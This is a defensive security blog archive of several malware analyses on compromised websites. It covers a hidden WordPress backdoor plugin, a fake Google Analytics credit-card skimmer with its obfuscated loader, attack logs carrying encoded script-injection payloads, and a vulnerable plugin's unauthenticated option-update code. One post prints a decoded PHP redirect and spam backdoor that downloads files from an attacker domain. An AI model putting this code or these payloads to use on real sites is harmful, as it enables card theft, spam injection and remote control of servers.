Category: Website Malware Infections

Backdoor plugin hides from view

One of the most important traits for backdoors is the ability to remain undetected by most users — otherwise it may draw suspicion and be deleted, revoking access for bad actors in the process.

In the past, we’ve posted about how malicious WordPress admin users can be hidden from the Users list inside the dashboard. Another similar technique is the practice of installing, activating, and hiding a malicious plugin within the WordPress dashboard to avoid detection by the website owner.

The active plugins count (1) that tells us there is a plugin existing, however the plugin itself isn’t displayed. This is a sign that something is not working correctly or is being manipulated

In this case, the malicious plugin file was found in ./wp-content/plugins/ciasic-editor/index.php. The file contained commenting at the top of the code that caused WordPress to believe it was actually the legitimate plugin “Classic Editor”.

This is another common technique used by hackers to trick website owners into thinking it’s just another benign plugin file. Once the plugin is activated, it disappears from the plugin listing page and stays hidden — the only obvious clue is that it’s included in the plugin count (which is why it shows a plugin count (1) in the image).

The code used to hide the malicious plugin from view in the WP dashboard, unless your browsing user-agent matches the very specific one they defined.

The hacker sends a GET request with a special parameter (e.g ?action=boobooboo), which is set to identify whether or not the malicious plugin has been activated:

After the malicious plugin’s active state has been confirmed, it can then be used to generate additional malicious files in the website’s document root using the curl and _file_putcontents functions.

These functions are placed within the init hook function, which is loaded for every WordPress page:

This allows the hacker to use the malicious PHP code by sending a POST request containing the necessary parameters (keysecret, url, and file_name) to WordPress pages on the website without having to specify the filename of the malicious plugin (e.g URL would not need /wp-content/plugins/ciasic-editor/index.php in it and could just send the POST request to your website's home page). The curl function will then download whatever is located at the provided URL, and _file_putcontents (obscured through the custom function wp_file_update_func125) will insert the downloaded content into a .php file in the website’s document root.

Jul 24, 2019 by Luke Leal

Google Analytics Swiper Disguised as Legitimate Traffic

At first glance, this short script looks like benign Google Analytics code:

<script type="text/javascript">
    (function() {
        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
        ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'www.google-analytics.com/analytics.js';
        ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
    })();

    var _qaq = _qaq || [];

_qaq.push(['_setAccount', 'UA-33088787-1']);
_qaq.push(['_trackPageview']);
</script>

However, if you inspect it thoroughly, you’ll notice two important details:

  1. The actual Google Analytics code has different format
  2. There is a line of code with base64-encoded values
ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20v'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));

The first value (Z29vZ2xlLWFuYWx5dGljcy5jb20v) decodes to “google-analytics.com/” - still benign.

The second value (Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw==) is more suspicious — “googlc-analytics[.]cm/v/” . While it appears to belong to the Analytics domain, it contains a typo in the Google name and the TLD is .cm instead of .com.

This string of code replaces the publicly visible www.google-analytics.com/analytics.js URL with the malicious www.googlc-analytics[.]cm/v/analytics.js link.

At this point, the malicious link currently returns an old version of the real Google Analytics script. However, if you request the analytics.js file (without /v/) on the same server, you’ll get a credit card stealing script.

The script sends stolen data to the hxxps://www.googlc-analytics[.]cm/__utm.gif?v=1…. URL, which looks similar to Google tracking pixel URL. And if you request it directly, it will actually return a tiny gif image.

This trick allows malicious URLs look indistinguishable from legitimate traffic when people manually check requests generated by a web page. The URLs appear to be a real Google Analytics URL and return the content that you may expect from real Google Analytics URLs. Nonetheless, they are malicious and steal credit card details and credentials from forms when used on webpages that contain the following keywords in their URLs:

  • onepage
  • checkout
  • onestep
  • payment
  • admin
  • account
  • login
  • password
  • cart

Google Analytics is often used to camouflage various types of malicious injections. Here are some other examples that we’ve recently blogged about:

Jul 23, 2019 by Denis Sinegubko

FBCMS Pharmacy Spam Website

Whenever most people think of a website CMS, they most often think of the popular options like WordPress, Joomla, or Drupal. What do all three of those CMS platforms have in common along with most common CMS platforms? They use a programming language like PHP in conjunction with a database that is used to store the user-generated data. Now, in most cases that I have seen throughout the years, it is rare for a hacker to deploy one of these CMS platforms on a compromised website and use it for malicious purposes. It is usually just easier for the hacker to upload a few .zip files containing their doorway spam tools, then unzip them and move onto a new target. The content of these .zip files is usually a large directory containing a few scripts and a lot of SEO spam content that will be used to divert traffic or boost keywords. Another popular technique used by these SEO spammers is to inject existing website files and push new keywords “on-the-fly” from a remote server to the compromised websites hosting the injected files—more on that method here.

I mention this because I came across a pharmacy spam directory on a compromised website that was constructed using the Bootstrap CSS framework, along with various PHP engine files that serve the pharmacy content based on a visitor’s geolocation. Once it is loaded, it looks like a generic CMS or Bootstrap designed website except it is dedicated entirely to pharmacy spam:

Easily deployed, customisable pharmacy spam website
Easily deployed, customisable pharmacy spam website

A bizarrely named file ./wp-content/mu-plugins/0-sucuri-boot.php is used to begin loading the malicious pharmacy spam content. It contains similar header comments to our Sucuri plugin to add some fake authenticity. However, the file itself just loads the pharmacy website that was located in the directory wp-content/gforms/:
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin

While it is unknown how the pharmacy spam website was created it looks like someone spent some time with the overall template as it has many features built into it), the configuration file is located within a ./cfg/config.victimdomain.php. This is used to define the target country (in this case, the United States) and a lot of other features related to what is going to be ultimately displayed to the visitor:

Overall, this pharmacy spam website uses over 750 files since it cannot depend upon a database to store the many pharmacy products it is advertising. It’s important to note that no actual sales occur through this pharmacy spam website that is placed onto compromised websites. Instead it redirects the visitor once they finally are ready to order:

Jul 23, 2019 by Luke Leal

WPTF Hybrid Composer – Unauthenticated Arbitrary Options Update

With almost 300 installs, WPTF - Hybrid Composer is a framework that helps users easily create custom themes for WordPress. We recently noticed an increase in suspicious requests, revealing an attack against this plugin.

Easily automated vulnerabilities are the first choice for bad actors. The following snippet provides a good example why attackers would target it:

function hc_ajax_save_option() {
    echo update_option($_POST['option_name'], $_POST['content']);
    die();
}

add_action('wp_ajax_nopriv_hc_ajax_save_option', 'hc_ajax_save_option');

The function “hc_ajax_save_option” uses the WordPress update_option(), along with two parameters that come directly from user input. Because the developers define “hc_ajax_save_option” as a non-private hook action, unauthenticated bad actors can obtain full access.

For those who doesn’t know, WordPress’ update_option() function is used to update any option in the options database table. Using this function, an attacker can gain admin access or inject arbitrary data into any site using vulnerable versions of this framework, 1.4.6 and lower.

The developer is aware of this vulnerability. This vulnerability was patched in a recent update, and we strongly encourage users to update their plugin if they haven’t already

Jul 11, 2019 by John Castro

Plugins Under Attack: June 2019

A long-lasting malware campaign (1,2) targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites.

As part of a strategy to rotate attack vectors and compromise as many sites as possible, we found a number of new plugins added to this campaign during this past month:

Plugins Under Attack

The plugins that are continuing to be leveraged and appear to be giving attackers the best results include:

Samples Attack Requests

WP-Piwik

45.67.228.17 - wp-piwik%5Btrack_mode%5D=manually&wp-piwik%5Btracking_code%5D=%3Cscript+type%3Dtext%2Fjavascript+async%3Dtrue%3Evar+nt+%3D+String.fromCharCode%2898%2C+98%2C+98%2C+55%29%3Bvar+mb+%3D+String.fromCharCode%2897%2C+106%2C+97%2C+120%2C+67%2C+111%2C+117%2C+110%2C+116%2C+101%2C+114%29%3B...skipped...%2Cn%29%3B%3C%2Fscript%3E [25/Jun/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

Blog Designer

45.67.228.14 - action=save&custom_css=%3C%2Fstyle%3E%3Cscript+async%3Dtrue+type%3Dtext%2Fjavascript%3Evar+nt+%3D+String.fromCharCode%2898%2C+98%2C+98%2C+51%29%3Bvar+mb+%3D+String.fromChar...skipped...2C+114%2C+105%2C+112%2C+116%2C+38%2C+118%2C+61%29%3Bvar+c%3Ddocument.createElement%28sb%29%3Bc.type%3Dtb%2Cc.async%3D1%2Cc.src%3Dlb%2Bnt%3Bvar+n%3Ddocument.getElementsByTagName%28sb%29%5B0%5D%3Bn.parentNode.insertBefore%28c%2Cn%29%3B%3C%2Fscript%3E%3Cstyle%3E&updated=true [25/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

WP Support Plus Responsive Ticket System

91.121.54.71 - action=wpsp_upload_attachment [23/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Convert Plus Plugin

68.183.131.57 - action=cp_add_subscriber&cp_set_user=administrator&cp_set_user=administrator&message=hello&message=letitbe&param%5Bemail%5D=workspace%40kleverandeverbever.top&param%5Bemail%5D=workspace%40kleverandeverbever.top [16/Jun/2019:02:37:42 +0000] "POST /wp-admin/admin-ajax.php?action=cp_add_subscriber HTTP/1.1"

Live Chat with Facebook Messenger

46.105.102.54 - domain=%3C%2Fscript%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%2C+39%2C+41%2C+59%2C+32%2C+10%2C+115%2C+46%2C+116%2C+12...skipped...+101%2C+40%2C+39%2C+104%2C+101%2C+97%2C+100%2C+39%2C+41%2C+91%2C+48%2C+93%2C+46%2C+97%2C+112%2C+112%2C+101%2C+110%2C+100%2C+67%2C+104%2C+105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E%3Cscript%3E [07/Jun/2019:14:01:05 +0000] "POST /wp-admin/admin-ajax.php?action=update_zb_fbc_code HTTP/1.1"

WP Quick Booking Manager

46.105.102.54 - action=gen_save_cssfixfront&css=%3C%2Fstyle%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+101%2C+109%2C+101%2C+110%2C+116%2C+40%2C+39%2C+115%2C+99%2C+114%2C+105%2C+112%2C+116%2C+39%2C+41%2C+59%2C+32%2C+...skipped...5%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E%3Cstyle%3E&cssfix=front [07/Jun/2019:14:01:02 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Post Custom Templates Lite

46.105.102.54 - otw_pctl_action=manage_otw_pctl_options&otw_pctl_custom_css=%3C%2Ftextarea%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+100%2C+61%2C+100%2C+111%2C+99%2C+117%2C+109%2C+101%2C+110%2C+116%2C+59%2C+118%2C+97%2C+114%2C+32%2C+115%2C+61%2C+100%2C+46%2C+99%2C+114%2C+101%2C+97%2C+116%2C+101%2C+69%2C+108%2C+...skipped...%2C+84%2C+97%2C+103%2C+78%2C+97%2C+109%2C+101%2C+40%2C+39%2C+104%2C+101%2C+97%2C+100%2C+39%2C+41%2C+91%2C+48%2C+93%2C+46%2C+97%2C+112%2C+112%2C+101%2C+110%2C+100%2C+67%2C+104%2C+105%2C+108%2C+100%2C+40%2C+115%2C+41%2C+59%2C+10%2C+125%29%29%3B%3C%2Fscript%3E [07/Jun/2019] "POST /wp-admin/admin-post.php HTTP/1.1"

Wp File Manager

79.116.192.67 - action=mk_check_filemanager_php_syntax [01/Jun/2019] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Malicious Domains and IPs

IPs

45.67.228.15
45.67.229.14
45.67.228.17
109.96.171.178
91.121.54.71
185.238.1.175
185.238.1.179
185.238.1.176
185.238.1.53
68.183.131.57
46.105.102.54
185.238.1.53
185.212.129.164
185.238.0.153
162.254.253.193
79.116.192.67

Domains

deliverygoodstrategy[.]com
letsmakesomechoice[.]com
garrygudini[.]com
kleverandeverbever[.]top

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Jun 28, 2019 by John Castro

web.config redirect malware

We recently found this malware on a windows hosting server where the web.config file was modified with the following code:

The code redirects multiple user agents and users referred from Google,Yahoo, MSN etc. to conceit-gleaned.php
The file conceit-gleaned.php contains the malware that is encoded to avoid detection, but we were able to reverse it and pull the plain text code.The malware communicates with the website gettheseorders[dot]ru in order to redirect users to the page they want. In this case, it redirected to Viagra-related pages but it could be anything in the future.

This is the malware added to the file conceit-gleaned.php:

<?php $ZdcIihIC="bSh8gtxCo6JlYQiK4AkwdIDe_VnN7OTfFr3sPZHaG291jRUqmcvXMzEy50puLWB";$wHnnxSifPdjM=$ZdcIihIC[0].
 $ZdcIihIC[39] . $ZdcIihIC[35] . $ZdcIihIC[23]. $ZdcIihIC[9] .$ZdcIihIC[16] . $ZdcIihIC[24]. $ZdcIihIC[20] .
 $ZdcIihIC[23]. $ZdcIihIC[49].$ZdcIihIC[8].$ZdcIihIC[20] .$ZdcIihIC[23];$cQBlOMOpUwc=$ZdcIihIC[4].$ZdcIihIC[53] .
 $ZdcIihIC[14].$ZdcIihIC[26] .$ZdcIihIC[31] .$ZdcIihIC[11] . $ZdcIihIC[39] .$ZdcIihIC[5]. $ZdcIihIC[23];
 $bHUDmvkyJ=$ZdcIihIC[23]. $ZdcIihIC[33].$ZdcIihIC[33] . $ZdcIihIC[8] .$ZdcIihIC[33] .$ZdcIihIC[24] .
  $ZdcIihIC[33] .$ZdcIihIC[23]. $ZdcIihIC[58] .$ZdcIihIC[8]. $ZdcIihIC[33] .$ZdcIihIC[5].$ZdcIihIC[14]. 
  $ZdcIihIC[26] .$ZdcIihIC[4];$cBpAXxrcExTv=$ZdcIihIC[49].$ZdcIihIC[33]. $ZdcIihIC[23] . $ZdcIihIC[39].
   $ZdcIihIC[5]. $ZdcIihIC[23].$ZdcIihIC[24]. $ZdcIihIC[31]. $ZdcIihIC[59]. $ZdcIihIC[26].$ZdcIihIC[49]. 
   $ZdcIihIC[5]. $ZdcIihIC[14]. $ZdcIihIC[8] . $ZdcIihIC[26];$bHUDmvkyJ(0);
   $jOfMRiAkmjE=$cBpAXxrcExTv("",$cQBlOMOpUwc($wHnnxSifPdjM("vRhrU9u49nM6w3/wut5i36ZOwqPbKZjClrRlymtDaOfewngUWyFa/
(edited) 
BD00Jz7anEV+JKgEXX5qhb3XF/5/AA==")));$jOfMRiAkmjE();?>

We were able to reverse it and this is the code that causes the redirect:

Here is the full script after we decoded it:

set_time_limit(0);
function change_page_regex($page, $links,$reg,$res){
$elements = array(); if (preg_match_all($reg, $page, $result)) { 
$elements = $result[$res]; $elements = array_unique($elements);
$m=min(count($links),count($elements));
for ($i = 0; $i < $m; $i++) { $link = array_shift($links); $element = array_shift($elements); $page = preg_replace('/' . preg_quote($element, '/') . '/', '$0 ' . $link, $page, 1); } if (count($links)>0){ $element = "<p>"; $element .= implode("<br>\n", $links); $element .= "</p>"; $page = preg_replace('/\<\/body\>/i', "\n" . $element . "\n$0", $page, 1); return $page;}
function curly_page_get($url,$useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 3000); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); $curly_page_get_info=curl_getinfo($ch);
curl_close($ch); return array($result,$curly_page_get_info);}
function get_proxy_page(){ $proto=stripos(@$_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://'; $crurl=$proto.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; list($buf,$curly_page_get_info)=curly_page_get($crurl);
$ct=@$curly_page_get_info['content_type']; $nexturl=@$curly_page_get_info['redirect_url']; $status=@$curly_page_get_info['http_code']; if (status!="")header("Status: $status");
if ($ct!=""){ header("Content-type: $ct"); if ($nexturl!=""){ header("Location: $nexturl"); return array($buf,$ct);
}
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); } } else { $tmppath = (dirname(__FILE__));}
$content="";$x=@$_POST["pppp_check"];$md5pass="e5e4570182820af0a183ce1520afe43b";
$host=@$_SERVER["HTTP_HOST"];$uri=@$_SERVER["REQUEST_URI"];$host=str_replace("www.","",$host);$md5host=md5($host);$urx=$host.$uri;$md5urx=md5($urx);
$tmppath=$tmppath."/.".$md5host."/";@mkdir($tmppath);
$configs=$tmppath."emoji1.png";$bd=$tmppath."metaicons.jpg";$templ=$tmppath."wp-themesall.gif";
$domain=base64_decode("Z2V0dGhlc2VvcmRlcnMucnU=");$p=md5(base64_decode(@$_POST["p"]));
if (($x!="")&&($p==$md5pass)){
if ($x=="2"){ echo "###UPDATING_FILES###\n"; list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/emoji1.png"); @file_put_contents($configs,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/metaicons.jpg"); @file_put_contents($bd,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/wp-themesall.gif"); @file_put_contents($templ,$buf1);
exit; 
 if ($x=="4"){ echo "###WORKED###\n";exit; 
 }else{
$cf=array(); if (@file_exists($configs)){ $cf=@unserialize(@base64_decode(@file_get_contents($configs))); if (@isset($cf[$md5urx])){ $bot=0;$se=0;$ua=@$_SERVER["HTTP_USER_AGENT"];$ref=@$_SERVER["HTTP_REFERER"];$myip=@$_SERVER["REMOTE_ADDR"]; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", $ref))$se=1; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", $ua))$bot=1; $off=$cf[$md5urx]+0; $template=@base64_decode(@file_get_contents($templ));$f=@fopen($bd,"r");@fseek($f,$off);$buf=trim(@fgets($f,10000000));@fclose($f);$info=unserialize(base64_decode($buf)); $keyword=@$info["keyword"];$IDpack=@$info["IDpack"];$base=@$info["base"];$text=@$info["text"];$title=@$info["title"];$description=@$info["description"];$uckeyword=ucwords($keyword);$inside_links=@$info["inside_links"]; if ($bot) { if (isset($info["contenttype"])){$contenttype=@base64_decode($info["contenttype"]);$types=explode("\n",$contenttype);foreach($types as $val){$val=trim($val);if($val!="")header($val);}}
if (isset($info["isdoor"])){
if (isset($info["standalone"])){ $doorcontent=base64_decode($text); echo $doorcontent;exit; }else{ $template=str_replace("%text%",$text,$template); $template=str_replace("%title%",$title,$template); $template=str_replace("%description%",$description,$template); $template=str_replace("%uckeyword%",$uckeyword,$template); $template=str_replace("%keyword%",str_replace(" ", ",", trim($keyword)),$template);
foreach($inside_links as $i => $link){ $template=str_replace("%INSIDE_LINK_".$i."%",$link,$template); }
echo $template;exit; } }else{
list($buf,$ct)=get_proxy_page();
if (stristr($ct,"text/html")){ $rega='/\<a\s.*?\>.*?\<\/a\>/i';$resa=0; $links=$info["links_a"]; $buf=change_page_regex($buf,$links,$rega,$resa);
$regp='/(.{30}\<\/p\>)/is';$resp=1; $links=$info["links_p"]; $buf=change_page_regex($buf,$links,$regp,$resp);
}
echo $buf; }
} if ($se) { if (isset($info["isdoor"])){ list($buf1,$curly_page_get_info)=curly_page_get("http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua); echo $buf1;exit; }else{ list($buf,$ct)=get_proxy_page(); echo $buf;exit; } } }else{
list($buf,$ct)=get_proxy_page(); echo $buf; 
}

You can see here that different data is recorded. By providing only the first two variables, we were still redirected to a spam site:

http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua);
hxxp://gettheseorders[dot]ru/ff.php?ip=12423&mk=test

I was able to get redirected to the following spam/scam sites:

an-order-shop[dot]comalltabsstorekeys[dot]com

In this case, the web.config file was used to facilitate this redirect, as this was a Windows hosting environment, but it can easily be adopted to work under Linux. We recommend checking the .htaccess file or the web.config file if you are dealing with a similar problem. Also removing the malicious files; the path to them can be found in the configuration files I previously mentioned.

Jun 26, 2019 by Krasimir Konov

Spam Injector Masquerading as Google Analytics

The domain en-google-analytic[.]com, currently sinkholed by a security intelligence company, has been observed by our team to be part of a mass spam injection campaign. This attack was active as far back as February 2016 according to the Internet Archive Wayback Machine.

We have seen recent cases in the wild where a script is injected into WordPress posts. The script then generates an AJAX request from a visitor's web browser to the following URL format:

hxxp://en-google-analytic[.]com/client-slots/check/<fully qualified domain name>;<base64 encoded string of the URL>;<string of the IP address>;ver1_0

The results are then inserted directly into the document body by using JavaScript to insert spam links (as shown in the partial sample below):

clientInfo.callGet('hxxp://en-google-analytic[.]com/client-slots/check/' + dataString, function(dataLinks) { 
  if (dataLinks) { 
    dataLinks = 
    JSON.parse(dataLinks); 
    for (var i = 0; i < dataLinks.length; i++) { 
       var div1 = document.createElement('a'); 
       div1.title = dataLinks[i].anchor; 
       div1.href = dataLinks[i].href; 
       div1.setAttribute('style', 'display:block;'); 
       div1.innerHTML = dataLinks[i].anchor; 
       document.body.insertBefore(div1, document.body.firstChild); 
    } 
}

It’s worth noting that this piece of malware captures the IP address using a remote request to api.ipify.org which is a legitimate third-party API service.

So, if you happen to stumble upon references to en-google-analytic[.]com on your website or in your WordPress posts, it would be a good idea to have the site checked out to make sure it’s not infected with spam as part of this campaign.

Jun 21, 2019 by Keith Petkus